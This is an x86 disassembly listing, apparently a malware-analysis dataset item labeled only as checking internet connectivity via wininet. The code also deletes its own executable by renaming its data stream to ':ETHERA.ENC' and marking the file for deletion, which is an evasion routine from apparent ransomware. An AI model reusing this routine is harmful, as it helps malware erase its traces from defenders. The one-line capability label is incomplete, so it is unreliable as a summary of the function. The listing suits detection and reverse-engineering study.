Function at 0x40d850
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bab1d
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x4e3180]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xc
call fcn.00434ea4
mov dword [ebp - 0x234], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
sub esp, 0xc
movq qword [eax], xmm0
mov ecx, eax
mov dword [eax + 8], 0
call fcn.00403ab0
push str.1234
mov esi, eax
mov dword [ebp - 4], 0xffffffff
call fcn.00405510
mov ecx, dword fs:[0x2c]
add esp, 4
mov edi, dword [ecx]
movaps xmm0, xmmword [0x4dc2c0]
mov eax, dword [0x4e62a4]
movups xmmword [ebp - 0x250], xmm0
mov dword [ebp - 0x240], 0xb0b54e05
mov word [ebp - 0x23c], 0xbfdb
mov byte [ebp - 0x23a], 0xa5
cmp eax, dword [edi + 4]
jle 0x40d973
push 0x4e62a4
call fcn.00434e40
add esp, 4
cmp dword [0x4e62a4], 0xffffffff
jne 0x40d973
xorps xmm0, xmm0
mov byte [0x4e63ef], 1
movlpd qword [ebp - 0x238], xmm0
mov edx, dword [ebp - 0x234]
mov eax, dword [ebp - 0x238]
nop dword [eax]
nop word [eax + eax]
mov cl, byte [ebp + eax - 0x250]
mov byte [eax + 0x4e63d8], cl
add eax, 1
adc edx, 0
test edx, edx
jne 0x40d95c
cmp eax, 0x17
jb 0x40d940
push 0x4be490
call fcn.00435110
push 0x4e62a4
call fcn.00434def
add esp, 8
mov ecx, 0x4e63d8
call fcn.00404bc0
push 0
push 1
push 0x4e63d8
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x40d9b0
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x258], 1
mov dword [ebp - 0x254], eax
call fcn.00412150
jmp 0x40d8c8
push 0x4dba98
call fcn.00405510
add esp, 4
lea ecx, [ebp - 0x228]
push 0x40a490
call fcn.00412280
push 0x40c0e0
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 1
call fcn.00412280
mov byte [ebp - 4], 2
cmp dword [ebp - 0x224], 0
je 0x40da28
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x224]
cmp ecx, eax
je 0x40dbf0
push 0
push ecx
push dword [ebp - 0x228]
call fcn.0043266d
add esp, 0xc
test eax, eax
jne 0x40dbf7
xorps xmm0, xmm0
movlpd qword [ebp - 0x228], xmm0
push 0x4dba9c
call fcn.00405510
push 0x4dbaa0
call fcn.00405510
add esp, 8
test esi, esi
je 0x40da98
mov eax, dword [esi]
test eax, eax
je 0x40da8d
mov ecx, dword [esi + 8]
sub ecx, eax
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x40da6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40dbfe
mov eax, edx
push ecx
push eax
call fcn.00435125
mov dword [esi], 0
add esp, 8
mov dword [esi + 4], 0
mov dword [esi + 8], 0
push 0xc
push esi
call fcn.00435125
add esp, 8
push 0x20a
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.00437330
add esp, 0xc
lea eax, [ebp - 0x21c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 0
push 0x10000
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x234], eax
call eax
mov edi, eax
cmp edi, 0xffffffff
je 0x40dbbc
push 0x26
call fcn.00440894
mov esi, eax
add esp, 4
test esi, esi
jne 0x40db0f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40dbbc
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 0x22], 0
movups xmm0, xmmword [str.:ETHERA.ENC]
mov eax, dword [0x4db9f8]
push 0x26
mov dword [esi + 8], 0x16
push esi
movups xmmword [esi + 0xc], xmm0
mov dword [esi + 0x1c], eax
mov ax, word [0x4db9fc]
push 3
push edi
mov word [esi + 0x20], ax
call dword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
push esi
test eax, eax
jne 0x40db69
call fcn.0043fdd3
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40dbbc
call fcn.0043fdd3
add esp, 4
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push 0x80
push 3
push 0
push 0
push 0x10000
lea eax, [ebp - 0x21c]
push eax
call dword [ebp - 0x234]
mov esi, eax
cmp esi, 0xffffffff
je 0x40dbbc
push 1
lea eax, [ebp - 0x21d]
mov byte [ebp - 0x21d], 1
push eax
push 4
push esi
call dword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
push esi
call edi
cmp dword [ebp - 0x22c], 0
jne 0x40dbeb
cmp dword [ebp - 0x224], 0
jne 0x40dbeb
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00434db6
mov esp, ebp
pop ebp
ret
call fcn.0043a774
push 5
call fcn.004322a4
push 2
call fcn.004322a4
call fcn.0043aacc
int3